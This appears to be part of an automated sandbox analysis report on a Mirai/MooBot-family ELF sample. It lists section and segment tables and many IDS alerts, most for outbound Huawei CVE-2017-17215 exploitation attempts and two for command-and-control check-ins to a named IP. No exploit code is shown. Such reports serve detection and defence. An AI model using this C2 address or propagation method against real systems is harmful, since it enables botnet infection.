	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xc5b6	0x0	0x6	AX	16
.fini	PROGBITS	0x8054666	0xc666	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8054680	0xc680	0x2a9c	0x0	0x2	A	32
.ctors	PROGBITS	0x8058120	0xf120	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8058128	0xf128	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8058140	0xf140	0x260	0x0	0x3	WA	32
.bss	NOBITS	0x80583a0	0xf3a0	0x2720	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0xf3a0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0xf11c	0xf11c	6.6428	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0xf120	0x8058120	0x8058120	0x280	0x29a0	3.4290	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-06T08:33:19.248423+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58586	37215	192.168.2.14	156.132.197.53
2024-08-06T08:33:19.607534+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36802	37215	192.168.2.14	197.94.142.206
2024-08-06T08:33:19.235164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39766	37215	192.168.2.14	41.87.34.185
2024-08-06T08:33:19.309654+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41842	37215	192.168.2.14	197.91.92.162
2024-08-06T08:33:19.271619+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32772	37215	192.168.2.14	197.129.180.128
2024-08-06T08:33:20.926162+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33150	37215	192.168.2.14	156.31.225.47
2024-08-06T08:33:19.251836+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54040	37215	192.168.2.14	41.212.248.151
2024-08-06T08:33:17.814328+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33728	37215	192.168.2.14	156.26.135.46
2024-08-06T08:33:20.930086+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33790	37215	192.168.2.14	197.37.199.204
2024-08-06T08:33:19.609837+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34420	37215	192.168.2.14	156.105.22.195
2024-08-06T08:33:20.950213+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56982	37215	192.168.2.14	156.94.64.176
2024-08-06T08:33:19.231707+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52820	37215	192.168.2.14	197.75.73.10
2024-08-06T08:33:19.610049+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53542	37215	192.168.2.14	41.39.210.77
2024-08-06T08:33:19.641477+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50118	37215	192.168.2.14	197.236.195.48
2024-08-06T08:33:17.822171+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34216	37215	192.168.2.14	41.62.200.129
2024-08-06T08:33:19.215718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60396	37215	192.168.2.14	156.255.113.130
2024-08-06T08:33:19.348117+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46640	37215	192.168.2.14	197.214.35.214
2024-08-06T08:33:20.942069+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37278	37215	192.168.2.14	197.241.157.232
2024-08-06T08:33:20.942112+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47194	37215	192.168.2.14	156.210.111.60
2024-08-06T08:33:19.267570+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37152	37215	192.168.2.14	41.235.232.193
2024-08-06T08:33:19.214016+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42160	37215	192.168.2.14	197.76.241.245
2024-08-06T08:33:24.480382+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39316	37215	192.168.2.14	156.67.232.65
2024-08-06T08:33:20.942111+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33952	37215	192.168.2.14	41.64.14.175
2024-08-06T08:33:19.267912+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36100	37215	192.168.2.14	156.178.121.45
2024-08-06T08:33:19.265820+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40758	37215	192.168.2.14	197.211.102.57
2024-08-06T08:33:19.232177+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35064	37215	192.168.2.14	41.87.115.224
2024-08-06T08:33:19.308971+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35508	37215	192.168.2.14	41.123.254.171
2024-08-06T08:33:19.270041+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33710	37215	192.168.2.14	197.147.67.118
2024-08-06T08:33:19.286841+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46870	37215	192.168.2.14	156.159.84.59
2024-08-06T08:33:19.349738+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48858	37215	192.168.2.14	197.194.34.222
2024-08-06T08:33:19.289825+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53790	37215	192.168.2.14	156.246.176.160
2024-08-06T08:33:20.946036+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49030	37215	192.168.2.14	156.129.185.157
2024-08-06T08:33:19.290426+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47526	37215	192.168.2.14	41.210.226.180
2024-08-06T08:33:19.253496+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44092	37215	192.168.2.14	156.11.49.218
2024-08-06T08:33:19.643055+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42130	37215	192.168.2.14	41.93.67.128
2024-08-06T08:33:19.288715+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45460	37215	192.168.2.14	197.199.54.86
2024-08-06T08:33:19.625100+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57790	37215	192.168.2.14	197.85.104.216
2024-08-06T08:33:20.930089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37102	37215	192.168.2.14	197.66.166.223
2024-08-06T08:33:19.236568+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37194	37215	192.168.2.14	156.48.101.240
2024-08-06T08:33:19.328413+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40960	37215	192.168.2.14	197.158.198.40
2024-08-06T08:33:19.231456+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44608	37215	192.168.2.14	41.137.49.124
2024-08-06T08:33:20.942150+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44654	37215	192.168.2.14	41.14.153.75
2024-08-06T08:33:19.234186+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34454	37215	192.168.2.14	156.57.27.188
2024-08-06T08:33:20.930048+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37310	37215	192.168.2.14	197.233.84.5
2024-08-06T08:33:19.231923+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37842	37215	192.168.2.14	41.246.8.105
2024-08-06T08:33:19.298312+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41024	37215	192.168.2.14	156.5.65.103
2024-08-06T08:33:19.607746+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47636	37215	192.168.2.14	41.233.198.210
2024-08-06T08:33:19.624247+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52014	37215	192.168.2.14	41.97.122.146
2024-08-06T08:33:19.640834+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47292	37215	192.168.2.14	41.22.10.251
2024-08-06T08:33:19.642413+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41446	37215	192.168.2.14	156.88.39.9
2024-08-06T08:33:19.658103+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54398	37215	192.168.2.14	41.216.206.238
2024-08-06T08:33:19.300489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46870	37215	192.168.2.14	197.21.237.243
2024-08-06T08:33:19.315753+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43454	37215	192.168.2.14	41.7.6.195
2024-08-06T08:33:19.313661+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37426	37215	192.168.2.14	41.138.94.83
2024-08-06T08:33:19.268938+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44332	37215	192.168.2.14	156.32.123.200
2024-08-06T08:33:19.657549+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41892	37215	192.168.2.14	197.30.136.119
2024-08-06T08:33:20.942023+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33402	37215	192.168.2.14	156.141.87.250
2024-08-06T08:33:19.299806+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56346	37215	192.168.2.14	197.182.131.25
2024-08-06T08:33:19.608130+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33614	37215	192.168.2.14	41.195.3.220
2024-08-06T08:33:20.930047+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48322	37215	192.168.2.14	41.213.2.154
2024-08-06T08:33:04.883845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41958	37215	192.168.2.14	41.71.189.165
2024-08-06T08:33:20.942066+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34308	37215	192.168.2.14	197.82.211.148
2024-08-06T08:33:19.297753+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49670	37215	192.168.2.14	197.119.21.203
2024-08-06T08:33:19.608436+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34588	37215	192.168.2.14	156.176.4.128
2024-08-06T08:33:19.290770+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35976	37215	192.168.2.14	156.232.20.55
2024-08-06T08:33:20.930124+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47350	37215	192.168.2.14	197.146.33.164
2024-08-06T08:33:20.938065+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35848	37215	192.168.2.14	156.230.172.248
2024-08-06T08:33:17.814290+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45886	37215	192.168.2.14	156.119.156.11
2024-08-06T08:33:20.942148+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43660	37215	192.168.2.14	41.124.149.222
2024-08-06T08:33:19.314596+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53354	37215	192.168.2.14	41.206.96.163
2024-08-06T08:33:20.942020+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46680	37215	192.168.2.14	41.213.72.177
2024-08-06T08:33:19.297667+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58000	37215	192.168.2.14	197.126.10.193
2024-08-06T08:33:20.942147+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53380	37215	192.168.2.14	197.138.159.34
2024-08-06T08:33:19.249016+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42704	37215	192.168.2.14	41.142.161.8
2024-08-06T08:33:20.942019+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54674	37215	192.168.2.14	156.87.232.236
2024-08-06T08:33:19.328112+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45850	37215	192.168.2.14	197.145.206.32
2024-08-06T08:33:17.818160+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54652	37215	192.168.2.14	197.161.94.107
2024-08-06T08:33:20.946070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59100	37215	192.168.2.14	197.13.230.44
2024-08-06T08:33:19.216311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44750	37215	192.168.2.14	156.255.60.96
2024-08-06T08:33:17.822168+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54430	37215	192.168.2.14	156.67.231.248
2024-08-06T08:33:19.642035+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41682	37215	192.168.2.14	197.99.255.71
2024-08-06T08:33:14.200151+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33746	37215	192.168.2.14	41.230.218.254
2024-08-06T08:33:19.218230+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39840	37215	192.168.2.14	197.219.157.185
2024-08-06T08:33:21.298317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38088	37215	192.168.2.14	197.252.133.116
2024-08-06T08:33:19.605534+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35050	37215	192.168.2.14	197.202.174.153
2024-08-06T08:33:19.234434+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55410	37215	192.168.2.14	197.166.211.169
2024-08-06T08:33:19.286846+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40264	37215	192.168.2.14	41.67.26.104
2024-08-06T08:33:19.272352+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43460	37215	192.168.2.14	197.141.127.19
2024-08-06T08:33:19.237044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33838	37215	192.168.2.14	197.173.7.129
2024-08-06T08:33:20.946071+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46172	37215	192.168.2.14	41.239.101.39
2024-08-06T08:33:20.938066+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33932	37215	192.168.2.14	156.113.78.247
2024-08-06T08:33:19.298394+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37080	37215	192.168.2.14	41.89.22.189
2024-08-06T08:33:19.297157+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56328	37215	192.168.2.14	41.214.215.249
2024-08-06T08:33:19.282870+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54184	37215	192.168.2.14	197.80.100.123
2024-08-06T08:33:19.637847+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34172	37215	192.168.2.14	41.130.36.148
2024-08-06T08:33:19.605705+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43414	37215	192.168.2.14	197.175.48.74
2024-08-06T08:33:19.253501+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49708	37215	192.168.2.14	156.134.51.115
2024-08-06T08:33:19.622589+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59852	37215	192.168.2.14	156.161.239.9
2024-08-06T08:33:19.308469+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39540	37215	192.168.2.14	197.26.78.192
2024-08-06T08:33:19.638791+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37012	37215	192.168.2.14	197.25.36.107
2024-08-06T08:33:20.942145+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44328	37215	192.168.2.14	41.113.41.102
2024-08-06T08:33:19.249957+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33946	37215	192.168.2.14	41.199.180.220
2024-08-06T08:33:17.814335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55172	37215	192.168.2.14	197.255.116.206
2024-08-06T08:33:17.822170+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55166	37215	192.168.2.14	156.74.133.226
2024-08-06T08:33:19.282703+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41462	37215	192.168.2.14	41.106.36.243
2024-08-06T08:33:19.299631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43274	37215	192.168.2.14	41.31.137.85
2024-08-06T08:33:17.814293+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54346	37215	192.168.2.14	156.76.104.186
2024-08-06T08:33:19.627754+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51634	37215	192.168.2.14	156.31.218.172
2024-08-06T08:33:19.349221+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57564	37215	192.168.2.14	197.232.216.53
2024-08-06T08:33:20.717322+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	53710	56999	192.168.2.14	154.216.17.9
2024-08-06T08:33:20.942102+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35246	37215	192.168.2.14	41.110.10.44
2024-08-06T08:33:17.818155+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34332	37215	192.168.2.14	41.12.226.29
2024-08-06T08:33:17.814334+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48512	37215	192.168.2.14	41.205.244.62
2024-08-06T08:33:19.300783+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39440	37215	192.168.2.14	197.116.99.16
2024-08-06T08:33:17.814291+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57726	37215	192.168.2.14	197.88.158.224
2024-08-06T08:33:19.266457+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50906	37215	192.168.2.14	197.144.79.247
2024-08-06T08:33:19.623612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44420	37215	192.168.2.14	41.76.72.232
2024-08-06T08:33:19.639302+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56982	37215	192.168.2.14	197.26.44.71
2024-08-06T08:33:20.930128+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42958	37215	192.168.2.14	197.218.132.128
2024-08-06T08:33:19.313100+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40780	37215	192.168.2.14	41.65.44.253
2024-08-06T08:33:19.641266+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52120	37215	192.168.2.14	197.17.109.18
2024-08-06T08:33:19.640967+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37202	37215	192.168.2.14	197.14.65.126
2024-08-06T08:32:59.951519+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43042	37215	192.168.2.14	156.234.152.134
2024-08-06T08:33:19.250297+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59874	37215	192.168.2.14	156.167.74.1
2024-08-06T08:33:19.266798+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57002	37215	192.168.2.14	156.0.126.61
2024-08-06T08:33:19.652003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54044	37215	192.168.2.14	156.132.223.150
2024-08-06T08:33:19.610355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56804	37215	192.168.2.14	156.39.190.188
2024-08-06T08:33:19.266926+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40592	37215	192.168.2.14	197.205.58.249
2024-08-06T08:33:17.818156+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33898	37215	192.168.2.14	197.17.248.75
2024-08-06T08:33:20.946074+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54248	37215	192.168.2.14	156.0.90.66
2024-08-06T08:33:19.291795+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53766	37215	192.168.2.14	197.63.193.232
2024-08-06T08:33:19.282958+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39722	37215	192.168.2.14	41.9.222.229
2024-08-06T08:33:19.270726+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46750	37215	192.168.2.14	41.88.164.69
2024-08-06T08:33:20.930127+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54412	37215	192.168.2.14	156.90.208.161
2024-08-06T08:33:19.265817+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57474	37215	192.168.2.14	41.116.61.218
2024-08-06T08:33:19.657838+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40578	37215	192.168.2.14	41.84.43.12
2024-08-06T08:33:19.308728+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48444	37215	192.168.2.14	197.0.151.175
2024-08-06T08:33:19.295509+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37464	37215	192.168.2.14	156.10.5.237
2024-08-06T08:33:20.930076+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40474	37215	192.168.2.14	41.141.213.228
2024-08-06T08:33:19.637436+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59274	37215	192.168.2.14	156.141.181.78
2024-08-06T08:33:19.284230+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53818	37215	192.168.2.14	41.217.74.217
2024-08-06T08:33:19.199143+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53436	37215	192.168.2.14	197.90.150.199
2024-08-06T08:33:20.946043+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53560	37215	192.168.2.14	41.239.79.250
2024-08-06T08:33:19.272355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37732	37215	192.168.2.14	41.199.95.162
2024-08-06T08:33:19.291223+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34594	37215	192.168.2.14	156.44.129.184
2024-08-06T08:33:24.033830+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	55724	56999	192.168.2.14	154.216.17.9
2024-08-06T08:33:19.269925+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49624	37215	192.168.2.14	197.150.29.200
2024-08-06T08:33:20.926152+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47648	37215	192.168.2.14	156.97.35.97
2024-08-06T08:33:20.946086+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34510	37215	192.168.2.14	41.10.35.56
2024-08-06T08:33:17.814317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51522	37215	192.168.2.14	156.0.121.162
2024-08-06T08:33:19.215325+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34534	37215	192.168.2.14	156.51.145.41
2024-08-06T08:33:19.301052+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35618	37215	192.168.2.14	197.203.208.42
2024-08-06T08:33:20.942078+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55440	37215	192.168.2.14	156.95.128.127
2024-08-06T08:33:20.942165+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54778	37215	192.168.2.14	41.196.179.160
2024-08-06T08:33:19.348704+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52844	37215	192.168.2.14	41.219.94.196
2024-08-06T08:33:20.942080+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45712	37215	192.168.2.14	197.140.230.44
2024-08-06T08:33:19.314592+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33736	37215	192.168.2.14	156.85.171.206
2024-08-06T08:33:20.946087+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34192	37215	192.168.2.14	156.75.155.52
2024-08-06T08:33:19.269625+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44432	37215	192.168.2.14	197.94.98.140
